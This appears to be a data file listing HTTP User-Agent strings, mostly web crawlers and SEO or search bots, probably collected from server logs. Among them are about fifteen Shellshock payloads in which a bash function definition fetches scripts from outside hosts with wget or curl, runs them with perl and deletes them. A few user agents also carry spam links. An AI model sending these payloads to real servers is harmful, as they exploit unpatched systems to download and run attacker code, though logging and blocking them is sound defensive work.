- Mechanize/2.7.2 Ruby/2.1.2p95 (http://github.com/sparklemotion/mechanize/)
- Mozilla/5.0 (compatible; MegaIndex.ru/2.0; +http://megaindex.com/crawler)
- Mozilla/5.0 (compatible; Qwantify/Mermoz/0.1; +https://www.qwant.com/; +https://www.github.com/QwantResearch/mermoz)
- MetaCommentBot; http://metacomment.io/about
- MetaInspector/5.5.0 (+https://github.com/jaimeiniesta/metainspector)
- MixnodeCache/1.8 (+https://cache.mixnode.com/)
- Mozilla/5.0 (compatible; MixrankBot; crawler@mixrank.com)
- Mozilla/5.0 (compatible; MojeekBot/0.6; +https://www.mojeek.com/bot.html)
- Monazilla/1.00 (demo/0.01; http://www.kyodemo.net/demo/)
- More-Testing (+http://www.theinternetrules.com)
- Mozilla/4.0 <a href=\x22https://howtobuyacouch.wordpress.com/2016/09/02/choosing-a-lasting-sofa/\x22>custom sofa</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60
- Mozilla/5.0 <a href=\x22https://play.google.com/store/apps/details?id=msapps.dailytarot\x22>daily tarot reading</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60
- Mozilla/5.0 (Windows NT 6.1) (compatible; SMTBot/1.0; +http://www.similartech.com/smtbot)
- Mozilla/5.0 (compatible; Windows NT 6.1?; ZumBot/1.0; http://help.zum.com/inquiry)
- Mozilla/5.0 (compatible; NetSeer crawler/2.0; +http://www.netseer.com/crawler.html; crawler@netseer.com)
- Mozilla/5.0 (compatible; NetpeakCheckerBot/3.1; +https://netpeaksoftware.com/checker)
- Mozilla/5.0 (compatible; NetpeakSpiderBot/3.0; +https://netpeaksoftware.com/spider)
- Mozilla/5.0 (compatible; NewShareCounts.com/1.0; +http://newsharecounts.com/crawler)
- Mozilla/5.0 (compatible; YamanaLab-Robot/1.0; http://www.yama.info.waseda.ac.jp/~crawler/)/Nutch-1.14
- Mozilla/5.0 (compatible; pmoz.info ODP link checker; +http://pmoz.info/doc/botinfo.htm)
- Mozilla/5.0 (compatible; OpenHoseBot/2.1; +http://www.openhose.org/bot.html)
- Mozilla/5.0 (compatible; spbot/4.4.2; +http://OpenLinkProfiler.org/bot )
- Mozilla/5.0 (compatible; OptimizationCrawler/0.2; +http://www.domainoptima.com/robot)
- Mozilla/5.0 (compatible; OrangeBot/2.0; support.orangebot@orange.com)
- Mozilla/5.0 (compatible; OttoBot/1.0; +http://www.arcane.ws/bot.html)
- Mozilla/5.0 (compatible; PaperLiBot/2.1; http://support.paper.li/entries/20023257-what-is-paper-li)
- Mozilla/5.0 (compatible; PaperLiBot/2.1; https://support.paper.li/entries/20023257-what-is-paper-li)
- Mozilla/5.0 (compatible; Paracrawl; +http://statmt.org/paracrawl/robots.html)
- Mozilla/5.0 (compatible; ParsijooBot; +http://www.parsijoo.ir/; crawler@parsijoo.ir)
- Mozilla/5.0 (compatible; PiStato/v0.0.1; http://carsopict.com/pages/bot.html+)
- Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)
- Mozilla/5.0+(compatible;+PiplBot;++http://www.pipl.com/bot/)
- Mozilla/5.0 (compatible; Plukkie/1.6; http://www.botje.com/plukkie.htm)
- Mozilla/5.0 (compatible; PrivacyAwareBot/1.1; +http://www.privacyaware.org)
- Mozilla/5.0 (compatible; Qwantify/vR; +https://www.qwant.com/)
- Mozilla/5.0 (compatible; Qwantify/2.4w; +https://www.qwant.com/)/2.4w
- Mozilla/5.0 (compatible; Qwantify/2.1w; +https://www.qwant.com/)/*
- Mozilla/5.0 (compatible; RankActiveLinkBot; +https://rankactive.com/resources/rankactive-linkbot)
- Mozilla/5.0 (compatible; ReplazBot/3.0; +http://www.replaz.com)
- Mozilla/5.0 zgrab/0.x (compatible; Researchscan/t12sns; +http://researchscan.comsys.rwth-aachen.de)
- Mozilla/5.0 (compatible; SEOkicks-Robot; +http://www.seokicks.de/robot.html)
- Mozilla/5.0 (compatible; SEOkicks-Robot; +https://www.seokicks.de/robot.html)
- Mozilla/5.0 (compatible; YamanaLab-Robot/1.0 (Sonic/1.0); http://www.yama.info.waseda.ac.jp/~crawler/info.html)
- Mozilla/5.0 (compatible; SEOdiver/1.0; +http://www.seodiver.com/bot)
- Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)
- Mozilla/5.0 (compatible; SEOlyticsCrawler/3.0; +http://crawler.seolytics.net/)
- Mozilla/5.0 (compatible; SMTBot/1.0; +http://www.similartech.com/smtbot)
- Mozilla/5.0 (compatible; SOLOFIELD/1.0 +http://solofield.net/bot.html)
- Mozilla/5.0 (compatible; SearchmetricsBot; http://www.searchmetrics.com/en/searchmetrics-bot/)
- Mozilla/5.0 (compatible; SecurityScanner/1.0; +http://SecurityScanner.com.br)
- Mozilla/5.0 (compatible) SemanticScholarBot (+https://www.semanticscholar.org/crawler)
- Mozilla/5.0 (compatible; SemrushBot/0.99~bl; +http://www.semrush.com/bot.html)
- Mozilla/5.0 (compatible; SemrushBot/1.0~bm; +http://www.semrush.com/bot.html)
- Mozilla/5.0 (compatible; Senatusbot/2.1; +http://www.senatus.jp/)
- Mozilla/5.0 (compatible; SeznamBot/3.2; +http://napoveda.seznam.cz/en/seznambot-intro/)
- Mozilla/5.0 (compatible; SeznamBot/3.2; +http://fulltext.sblog.cz/)
- Mozilla/5.0 (compatible; vkShare; +http://vk.com/dev/Share)
- Mozilla/5.0 (compatible; SiteExplorer/1.0b; +http://siteexplorer.info/)
- Mozilla/5.0 (compatible; Sonic/1.0; http://www.yama.info.waseda.ac.jp/~crawler/info.html)
- Mozilla/5.0 (compatible; SputnikBot/2.3; +http://corp.sputnik.ru/webmaster)
- Mozilla/5.0 (compatible; SputnikFaviconBot/1.2; +http://corp.sputnik.ru/webmaster)
- Mozilla/5.0 (compatible; SurdotlyBot/1.0; +http://sur.ly/bot.html)
- Mozilla/5.0 (compatible; TWMBot/0.1; +http://thewebminer.com)
- Mozilla/5.0 (compatible; TestCrawler)
- Mozilla/5.0 (compatible; TinEye-bot/1.411; +http://www.tineye.com/crawler.html)
- Mozilla/5.0 (compatible; ToutiaoSpider/1.0; http://web.toutiao.com/media_cooperation/;)
- Mozilla/5.0 (compatible; Uptimebot/0.1.73; +http://www.uptime.com/uptimebot)
- [('User-agent', 'Mozilla/5.0 (compatible; ZumBot/1.0; http://help.zum.com/inquiry)')]
- Mozilla/4.0 (compatible; Vagabondo/4.0; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/; http://www.wise-guys.nl/)
- Mozilla/4.0 (compatible; Vagabondo/4.0; http://www.wise-guys.nl/)
- Mozilla/5.0 (compatible; VelenPublicWebCrawler/1.0; +https://velen.io)
- Mozilla/5.0 (compatible; Veoozbot/1.0; +http://www.veooz.com/veoozbot.html)
- Mozilla/5.0 (compatible; WBSearchBot/1.1; +http://www.warebay.com/bot.html)
- Mozilla/5.0 (compatible; WbSrch/1.1 +http://wbsrch.com)
- Mozilla/5.0 (compatible; WebCorpLSEBot/1.1; +http://www.webcorp.org.uk)
- Mozilla/5.0 (compatible; WebDataStats/1.0 ; +https://webdatastats.com/policy.html)
- Mozilla/5.0+(compatible;+Wopabot/0.1;++https://www.wopa.fr/)
- Mozilla/5.0 (compatible; XoviBot/2.0; +http://www.xovibot.net/)
- Mozilla/5.0 (compatible; YaK/1.0; http://linkfluence.com/; bot@linkfluence.com)
- Mozilla/5.0 (compatible; YandexAccessibilityBot/3.0; +http://yandex.com/bots)
- Mozilla/5.0 (compatible; YandexAntivirus/2.0; +http://yandex.com/bots)
- Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)
- Mozilla/5.0 (compatible; YandexDirect/3.0; +http://yandex.com/bots)
- Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)
- Mozilla/5.0 (compatible; YandexMetrika/2.0; +http://yandex.com/bots)
- Mozilla/5.0 (compatible; YandexWebmaster/2.0; +http://yandex.com/bots)
- Mozilla/5.0 (compatible; Yeti/1.1; +http://naver.me/bot)
- Mozilla/5.0 (compatible; Yeti/1.1; +http://naver.me/spd)
- Mozilla/5.0 (compatible; ZumBot/1.0; http://help.zum.com/inquiry)
- Mozilla/5.0 (compatible; http://c7.fc2.com/about.html) mfc2/1.0
- Mozilla/4.0 (compatible; http://search.thunderstone.com/texis/websearch/about.html)
- waseda_koba_bot (Mozilla-compatible; takatsu@pcl.cs.waseda.ac.jp; http://www.pcl.cs.waseda.ac.jp/study02_04.html)
- oku-taka-lab-bot (Mozilla-compatible; htakimoto@lr.pi.titech.ac.jp; http://lr-www.pi.titech.ac.jp/wp/)
- Mozilla/5.0 (compatible; 3w24bot/1.2; +https://3w24.com/addYourSite)
- Mozilla/5.0 (compatible; ia_archiver/1.0; +http://www.alexa.com/help/webmasters; crawler@alexa.com)
- Mozilla/5.0 (compatible; ltbot/0.3.6 +http://www.kdsl.tu-darmstadt.de/de/kdsl/research-program/crawling-and-semantic-structuring/)
- Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot)
- Mozilla/5.0 (compatible; archive.org_bot +http://www.archive.org/details/archive.org_bot)
- Mozilla/5.0 (compatible; special_archiver/3.1.1 +http://www.archive.org/details/archive.org_bot)
- Mozilla/5.0 (compatible; archive.pl/0.99; +https://ingram-braun.net/public/programming/perl/wayback-url-robot-html/)
- Mozilla/5.0 (compatible; parsijoo-batch-crawler; +http://www.parsijoo.ir/; crawler@parsijoo.ir)
- Mozilla/5.0 (compatible; vebidoobot/1.0; +https://blog.vebidoo.de/vebidoobot/)
- Mozilla/5.0 (compatible; uCrawler/1.0 ; +https://blog.ucoz.ru/upolicy)
- cotoba_bot (Mozilla-compatible; tomohiro.saito@cotobadesign.com; https://www.cotobadesign.com/)
- Mozilla/5.0 (compatible; eright/1.0; +bot@eright.com)
- Mozilla/5.0+(compatible;+googlebot/2.1;++http://www.google.com/bot.html)
- Mozilla/5.0 (compatible; vuhuvBot/1.0; +http://vuhuv.com/bot.html)
- Mozilla/5.0 (compatible; woobot/2.0; +https://www.woorank.com/bot)
- Mozilla/5.0 (compatible; tracemyfile/1.0; +bot@tracemyfile.com)
- Mozilla/5.0 (compatible; linkdexbot/2.0; +http://www.linkdex.com/bots/)
- Mozilla/5.0 (compatible; coccoc/1.0; +http://help.coccoc.com/)
- Mozilla/5.0 (compatible; coccoc/1.0; +http://help.coccoc.com/searchengine)
- Mozilla/5.0 (compatible; coccocbot-web/1.0; +http://help.coccoc.com/searchengine)
- Mozilla/5.0 (compatible; meg/0.2; +https://github.com/tomnomnom/meg)
- Mozilla/5.0 (compatible; meanpathbot/1.0; +http://www.meanpath.com/meanpathbot.html)
- Mozilla/5.0 (compatible; proximic; +http://www.proximic.com/info/spider.php)
- Mozilla/5.0 (compatible; isa/1.0; +http://intelligentsearchassistant.com)
- Mozilla/5.0 (compatible; kazbtbot/0.1; +http://kazbt.com/)
- Mozilla/5.0 (compatible; nsrbot/1.0; +http://netsystemsresearch.com)
- Mozilla/5.0 (compatible; +http://servernfo.com/)
- Mozilla/5.0 (compatible; +http://tweetedtimes.com)
- Mozilla/5.0 (compatible;contxbot/1.0)
- Mozilla/5.0 (compatible; parsijoo-update-crawler; +http://www.parsijoo.ir/; ehsanmousa@parsijoo.ir)
- Mozilla/5.0+(compatible;+searchbot/2.1;++search-engine-crawler)
- Mozilla/5.0 (compatible; oBot/2.3.1; +http://filterdb.iss.net/crawler/)
- Mozilla/5.0 (compatible; yoozBot-2.2; http://yooz.ir; info@yooz.ir)
- Mozilla/5.0 (compatible; smrjbot/0.0.20)
- OutclicksBot/2 +https://www.outclicks.net/agent/elnDase71nFQhA7Y8MprdnyJVWdUkwSVmAOXAJoUYR9
- My Nutch Spider/Nutch-1.10
- NBot 1.0, https://nick04.com/bot (nick@nick04.com)
- NerdyBot
- 1st ZipCommander (Net) - http://www.zipcommander.com/
- Netvibes (http://www.netvibes.com)
- Sogou News Spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)
- NewsGatorOnline/2.0 (http://www.newsgator.com; X subscribers)
- NinjaBot/2.0 (+http://www.imninjas.com)
- ParadigmCrawler/Nutch-2.3.1
- a8bot/Nutch-1.16-SNAPSHOT
- Valu's Spider/Nutch-1.11
- fujilabolx1 Spider/Nutch-1.10
- Spiderbot/Nutch-1.7
- VenusCrawler/Nutch-1.12 (crawler@mycompany.com)
- webone-bot/Nutch-1.10
- Nutch/2.2.1 (page scorer; http://integralads.com/site-indexing-policy/)
- coquitlam-crawler/Nutch-1.14
- trumind-crawler/Nutch-1.13
- istellabot/Nutch-1.10
- istellabot-nutch/Nutch-1.10
- tbot-nutch/Nutch-1.10
- () { :;}; /bin/bash -c \x22wget -O /tmp/s http://178.18.24.165/s;curl -O /tmp/s http://178.18.24.165/s;perl /tmp/s;rm -rf /tmp/s*;wget -O /tmp/e http://178.18.24.165/e;curl -O /tmp/e http://178.18.24.165/e;perl /tmp/e;rm -rf /tmp/e\x22
- () { :; }; /bin/sh -c 'wget http://www.chaparral300.com/src/image/marioarrow.gif -O /dev/null;wget1 http://www.chaparral300.com/src/image/marioarrow.gif -O /dev/null;curl http://www.chaparral300.com/src/image/marioarrow.gif -o /dev/null;/usr/sfwbin/wget http://www.chaparral300.com/src/image/marioarrow.gif -O /dev/null;fetch -/dev/null http://www.chaparral300.com/src/image/marioarrow.gif'
- () { :;}; /bin/bash -c \x22curl -o /tmp/log http://saigalhomes.com/log;/usr/bin/wget http://saigalhomes.com/log -O /tmp/log;wget http://saigalhomes.com/log -O /dev/shm/log;chmod +x /dev/shm/log /tmp/log;/dev/shm/log;/tmp/log;rm -rf /dev/shm/log /tmp/log*\x22
- () { :;}; /bin/bash -c \x22curl -o /tmp/log http://mafiagalati.hi2.ro/log;/usr/bin/wget http://mafiagalati.hi2.ro/log -O /tmp/log;wget http://mafiagalati.hi2.ro/log -O /dev/shm/log;chmod +x /dev/shm/log /tmp/log;/dev/shm/log;/tmp/log;rm -rf /dev/shm/log /tmp/log*\x22
- () { :;}; /bin/bash -c \x22cd /tmp;lwp-download -a http://108.170.3.26/edu;curl -O http://108.170.3.26/edu;wget http://108.170.3.26/edu;perl /tmp/edu*;perl edu;rm -rf /tmp/edu*\x22
- () { :;}; /bin/bash -c \x22cd /tmp;lwp-download -a http://31.220.1.111/oxo;curl -O http://31.220.1.111/oxo;wget http://31.220.1.111/oxo;perl /tmp/oxo*;perl oxo;rm -rf /tmp/oxo*\x22
- () { :;}; /bin/bash -c \x22cd /var/tmp;curl -O http://31.220.1.111/amav;wget http://31.220.1.111/amav;perl /var/tmp/amav;perl amav;rm -rf /var/tmp/amav*\x22
- () { :;}; /bin/bash -c \x22cd /tmp;curl -O http://31.220.1.111/bashbash;wget http://31.220.1.111/bashbash;perl /tmp/bashbash*;perl bashbash;rm -rf /tmp/bashbash*\x22
- () { :;}; /bin/bash -c \x22cd /tmp;wget http://46.23.67.10/di.psd;curl -O http://46.23.67.10/di.psd;perl /tmp/di.psd;perl di.psd;rm -rf /tmp/di.psd*\x22
- () { :;}; /bin/bash -c \x22cd /tmp;curl -O http://23.95.6.90/dob;wget http://23.95.6.90/dob;perl /tmp/dob*;perl dob;rm -rf /tmp/dob*\x22
- () { :;}; /bin/bash -c \x22cd /tmp;wget http://46.23.67.10/doing;curl -O http://46.23.67.10/doing;wget http://46.23.67.10/doing;perl /tmp/doing*;perl doing;rm -rf /tmp/doing*\x22
- () { :;}; /bin/bash -c \x22cd /var/tmp;wget http://31.131.4.153/faxo;curl -O http://31.131.4.153/faxo;wget http://31.131.4.153/faxo;perl /var/tmp/faxo*;perl faxo;rm -rf /tmp/faxo*\x22
- () { :;}; /bin/bash -c \x22cd /tmp;curl -O http://172.245.218.130/mal.zip;wget http://172.245.218.130/mal.zip;perl /tmp/mal.zip*;perl mal.zip;rm -rf /tmp/mal.zip*\x22
- () { :;}; /bin/bash -c \x22cd /tmp;curl -O http://31.220.1.111/oxo;wget http://31.220.1.111/oxo;perl /tmp/oxo*;perl oxo;rm -rf /tmp/oxo*\x22
- () { :; }; /bin/bash -c 'wget http://176.126.85.127:8080/megatron1 -O /dev/null'
- () { :; }; /bin/sh -c 'wget http://176.126.85.127:8080/megatron1 -O /dev/null; curl http://176.126.85.127:8080/megatron1; /usr/sfwbin/wget http://176.126.85.127:8080/megatron1;fetch -/dev/null http://176.126.85.127:8080/megatron1'
- OnalyticaBot
- Online Virus Scanner: http://tools.geek-tools.org
- Orbiter/1.0 (http://dailyorbit.com/)
- OrgProbe/0.9.4 (+http://www.blocked.org.uk)
- OutclicksBot/2 +https://www.outclicks.net/agent/kFG9Qtl0QebAZtnJeqBdVuThyX8OzioSo6bPUWGF0dr
- OutclicksBot/2 +https://www.outclicks.net/agent/oO4gGEOQaEhMaArWUuKuZTUBHjt0hcJgruD0PAMzSdx
- OutclicksBot/2 +https://www.outclicks.net/agent/vUFzlF4TJmXq3gtoSL1ib6mdK7rjjRsG0PI5UJC4uGV
- OutclicksBot/2 +https://www.outclicks.net/agent/oUmsf0TLSAyLIa3eYqWPHQBMigsP0aVournDQsGCthS
- OutclicksBot/4 +https://www.outclicks.net/agent/8TYFSoH1prBaLDVzNdHYADq2VC16Vjvln2fDBsFDPaS
- OutclicksBot/2 +https://www.outclicks.net/agent/whCLkAsEXhUMamIlLrc7pzdgWkdfEtDgybnSGJldE2b
- OutclicksBot/2 +https://www.outclicks.net/agent/cC5lsmKbOoHPXCECiuEJboE1kU03f8giSlnPjMrYXz9
- OutclicksBot/1 +https://www.outclicks.net/agent/czlwww
- OutclicksBot/4 +https://www.outclicks.net/agent/
- Uniscan PRO Spider
- PagesInventory (robot +http://www.pagesinventory.com)
- Pinterest/0.2 (+http://www.pinterest.com/)
- PiplBot (+http://www.pipl.com/bot/)
- Plagger/0.7.17 (http://plagger.org/)
- PleskBot
- PocketParser/2.0 (+https://getpocket.com/pocketparser_ua)
- Quantcastbot/1.0 (+http://www.quantcast.com/bot)
- RSSingBot (http://www.rssing.com)
- mfibot/1.1 (http://www.mfisoft.ru/analyst/; <admin@mfisoft.ru>; en-RU)
- RankingBot2 -- https://varocarbas.com/bot_ranking2/
- Re-re Studio (+http://re-re.ru/)
- Readability/5bf615 - http://readability.com/about/
- Readability/8dc896 - http://readability.com/about/
- ResearchBot 0.1
- Riddler (http://riddler.io/about)
- RobotsChecker/0.6 (+http://www.blocked.org.uk)
- SEMrushBot
- SafeDNSBot (https://www.safedns.com/searchbot)
- SafeSearch microdata crawler (https://safesearch.avira.com, safesearch-abuse@avira.com)
- SalesIntelligent/v1.1 (https://www.salesintelligent.com)
- Scrapy/1.1.0rc3 (+http://scrapy.org)
- Scrapy/0.24.5 (+http://scrapy.org)
- Scrapy/1.5.0 (+https://scrapy.org)
- Searchie/1.0 (a Storm-based crawler; https://www.searchie.org; admin@searchie.org)
- SemanticJuice bot - see https://www.semanticjuice.com
- Seoterritory.com bot
- Sideqik +http://www.sideqik.com
- Sisabot/2.1 (http://www.sisabot.com/bot.html)
- 7Siters/1.07 (+https://7ooo.ru/siters/)
- Slackbot 1.0 (+https://api.slack.com/robots)
- SocSciBot
- SocialRankIOBot; http://socialrank.io/about
- Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)
- Sottopop/1.0(+https://upcontent.com/robots)
- Speedy Spider (http://www.entireweb.com)
- SpeedySpider - http://www.entireweb.com
- SpuhexBot/1.0
- SpuhexBot+(+http://www.spuhex.com)
- TelegramBot (like TwitterBot)
- ThumbSniper (http://thumbsniper.com)
- Toweya.com bot; report abuse to abuse@toweya.net
- TurnitinBot (https://turnitin.com/robot/crawlerinfo.html)
- WireAction URLCheckSpider
- UXCrawlerBot
- UniversalFeedParser/5.2.0 +https://code.google.com/p/feedparser/
- VelenPublicWebCrawler/0.1
- VelenPublicWebCrawler (velen.io)
- Virusdie crawler/3.0
- Visited by http://tools.geek-tools.org
- Xaldon WebSpider
- WebZIP/3.5 (http://www.spidersoft.com)
- WebZIP/x.x (http://www.spidersoft.com)
- Webshot/0.9 ( http://www.shrinktheweb.com/ )
- WordChampBot
- Wotbox/2.01 (+http://www.wotbox.com/bot/)
- Woyager/0.1.0 (+https://github.com/murakmii/woyager)
- g2reader-bot/1.0 (+http://www.g2reader.com/; X subscribers; feed-id=716884)
- YisouSpider
- ZoominfoBot (zoominfobot at zoominfo dot com)
- Zuuk crawler
- acebookexternalhit/1.0 (+http://www.facebook.com/externalhit_uatext.php)
- sunwukong bot/1.0 (+http://www.swkong.com/addurl)
- admantx-adform/2.4 (+http://www.admantx.com/service-fetcher.html)
- admantx-apacas/2.4 (+http://www.admantx.com/service-fetcher.html)
- admantx-euaspb/2.5 (+http://www.admantx.com/service-fetcher.html)
- admantx-euastn/2.4 (+http://www.admantx.com/service-fetcher.html)
- admantx-eusyncbatch01/3.1 (+http://www.admantx.com/service-fetcher.html)
- admantx-sap/2.4 (+http://www.admantx.com/service-fetcher.html)
- admantx-usasab/3.0 (+http://www.admantx.com/service-fetcher.html)
- admantx-usastn/2.4 (+http://www.admantx.com/service-fetcher.html)
- admantx-ussy02/2.4 (+http://www.admantx.com/service-fetcher.html)
- http://gtamn.kr/admin/sm/bin.php
- heritrix/2.0.2 +http://www.adsafemedia.com
- aicl_spider (+https://www.sint.co.jp)
- ia_archiver (+http://www.alexa.com/site/help/webmasters; crawler@alexa.com)
- elefent/1.3 (web crawler :: robots.txt exclude elefent :: webmaster at elefent dot net; https://crawler.elefent.net)
- elefent/1.2 (web crawler; crawler.elefent.net; webmaster at elefent dot net)
- yoozbot-bear/1.0 (http://yooz.ir/; info@yooz.ir);
- bhcBot
- bidswitchbot/1.0
- http://www.bing.com/bingbot.htm)
- bitlybot/3.0 (+http://bit.ly/)
- node-fetch/1.0 (+https://github.com/bitinn/node-fetch)
- bitlybot/2.0
- metadataparser/1.1.0 (https://github.com/bloglovin/metadataparser)
- datagnionbot (+http://www.datagnion.com/bot.html)
- metadata-downloader-bot/1.0 (eng@linqia.com)
- bot/1.0 http://spuhex.com
- spuhexbot/1.0 bot http://spuhex.com
- search bot
- your-search-bot
- cb crawl (+http://www.companybooknetworking.com)
- crawler4j (http://code.google.com/p/crawler4j/)
- colly - https://github.com/gocolly/colly
- rogerbot/1.1 (http://moz.com/help/guides/search-overview/crawl-diagnostics#more-help, rogerbot-crawler+pr4-crawler-15@moz.com)
- rogerbot/1.0 (http://www.moz.com/dp/rogerbot, rogerbot-crawler@moz.com)
- rogerbot/1.0 (http://moz.com/help/pro/what-is-rogerbot-, rogerbot-crawler+partager@moz.com)
- rogerbot/1.0 (http://moz.com/help/pro/what-is-rogerbot-, rogerbot-crawler+shiny@moz.com)
- rogerbot/1.0 (http://moz.com/help/pro/what-is-rogerbot-, rogerbot-wherecat@moz.com)
- wscheck.com/1.0.0 (+http://wscheck.com/)
- crawler (crawler.feedback@gmail.com)
- crawler4j (https://github.com/yasserg/crawler4j/)
- wf_crawler (http://www.websitefigures.com)
- http://wwranks.com crawler
- cuwhois/1.0 (+http://www.cuwhois.com/)
- deeris/1.0 (+http://www.deeris.com)
- https://devtalk.kakao.com/t/scrap/33984
- weborama-fetcher (+http://www.weborama.com)
- iskanie (+http://www.iskanie.com)
- ltx71 - (http://ltx71.com/)
- omgili/0.5 +http://omgili.com
- semanticbot (info@semanticaudience.com)
- http://tools.geek-tools.org/link-counter/
- crawler/1.0
- elefent/1.2 (web crawler)
- dlvr.it/1.0 (+http://dlvr.it/)
- finbot
- focusbot/1.1
- game_spider
- ichiro/3.0 (http://search.goo.ne.jp/option/use/sub4/sub4-1/)
- googlebot
- googlebot/googlebot
- scrapyproject (+http://www.profound.net)
- twieve/1.0 (http://twieve.net)
- istellabot/t.1
- uipbot/1.0 (uipbot@semasio.net)
- oebot
- robot
- spider
- spiderbot
- tigerbot
- vebidoobot
- woobot
